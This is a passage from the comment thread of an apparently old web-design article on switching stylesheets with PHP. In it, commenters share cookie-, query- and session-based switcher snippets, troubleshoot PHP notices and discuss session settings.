    $CSS = getCssFiles($CONFIG[“HomeDir”].“inc/”);

    then when i want to include the css file name
    $template is a variable pulled from a cookie or query…

    $key = array_search($template,$CSS,true);
    if ($key !== FALSE) { $usethis = $template;
    else { $usethis = 'default'; }

    so there you go…

    its all automatic, no list/array maintainence. You can add/remove css on the fly. and it has secuity to stop dodgy inputs, if the css is not on the list, your not coming in :)

    btw, nice work ALA i like what your doing!

    [Hilarious joke, envolving future thinking, to inspire the world and keep the web ‘live’ :]

    Copy & paste the code below to embed this comment.
  78. Thank you for putting up a complete example for a novice like me! i spent 12 hours straight playing with this idea and it wasnt till i used your example that i got everything to work beautifully! THANX!

    Copy & paste the code below to embed this comment.
  79. I’m trying to use the code on the first page of this forum dicsussion but it doesn’t work. It doesn’t change the css, jsut stays with the default one.

    The server has register_globals on, but enable trans_id is enabled. It’s php 4.3.2. Could this be the problem?

    Copy & paste the code below to embed this comment.
  80. sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss

    Copy & paste the code below to embed this comment.
  81. Hi there, I’m trying to use this code to switch styles on my website. I have used ALA’s Javascript switcher before, and it worked. But I can’t get the PHP version to work! I followed the tutorial step by step, and checked everything I could. It just shows plain text without any stylesheet (even if I let it show the default one). My server runs PHP and other scripts work perfectly.

    Can anyone please help me? Greetings from the Netherlands,

    Nick

    Copy & paste the code below to embed this comment.
  82. OK, already got it to work!

    Copy & paste the code below to embed this comment.
  83. So we cater for those that have JavaScript deactivated
    by relaying on the user accepting cookies…

    Does anybody has statistical data on this?

    Copy & paste the code below to embed this comment.
  84. I tried to implement the code given by Peter Hawkes and all works fine after the first click… the first time visiting the page, I get:

    Notice: Undefined index: csschanger in c:\hosting\webhost4life\member\braincre\sean\new\index.php on line 32

    anyone know why?

    Copy & paste the code below to embed this comment.
  85. I am using the switcher by peter hawkes:

    here is more chance that a user will have cookies disabled than JavaScript disabled. All the above will not work without cookies.
    I am using SESSIONS in my version, this script assumes that PHP 4.2+ is installed and that register_globals is off with—enable-trans-sid.

    Code as below:

    <?php
    session_start();
    ?>
    <?php
    if(isset($_GET[‘css’])){
    switch ($_GET['css']) {
    case 'css1':
    $stylesheet = '<link href="theme1.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    case 'css2':
    $stylesheet = '<link href="theme2.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    case 'css3':
    $stylesheet = '<link href="theme3.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    case 'css4':
    $stylesheet = '<link href="theme4.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    break;
    default:
    $stylesheet = '<link href="cssdefault.css" type="text/css" rel="stylesheet">';
    $_SESSION['csschanger']=$stylesheet;
    }
    }
    ?>
    <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
    <html >
    <head>
    <title>CSS Changer</title>
    <meta http-equiv=“Content-Type” content=“text/html; charset=iso-8859-1” />
    <?php echo ($_SESSION[‘csschanger’])? $_SESSION[‘csschanger’]: ‘<link href=“cssdefault.css” type=“text/css” rel=“stylesheet”>’ ;?>
    </head>

    <body>
    ; ?>?css=css1”]Stylesheet 1

    ; ?>?css=css2”]Stylesheet 2

    ; ?>?css=css3”]Stylesheet 3

    ; ?>?css=css4”]Stylesheet 4

    </body>
    </html>

    BUT.. Is there a way of doing it so it validates??

    I have put this code as one file and used then included it each page.. can i change the style changer links to something like :
    <a href=”/assets/includes/switcher.php?=masterm”

    Copy & paste the code below to embed this comment.
  86. Have just found out you can hide the session ID by putting

    ini_set(“session.use_trans_sid”, 1);

    in your switcher code

    Copy & paste the code below to embed this comment.
  87. SORRY got it wrong.. U can’t change

    ini_set(“session.use_trans_sid”, 1);

    using runtime scripts.. U can only change it in the php.ini file, .htaccess or httpd.conf#

    sorry

    SEE http://www.php.net/ini_set

    Copy & paste the code below to embed this comment.
  88. Sorry, commenting is closed on this article.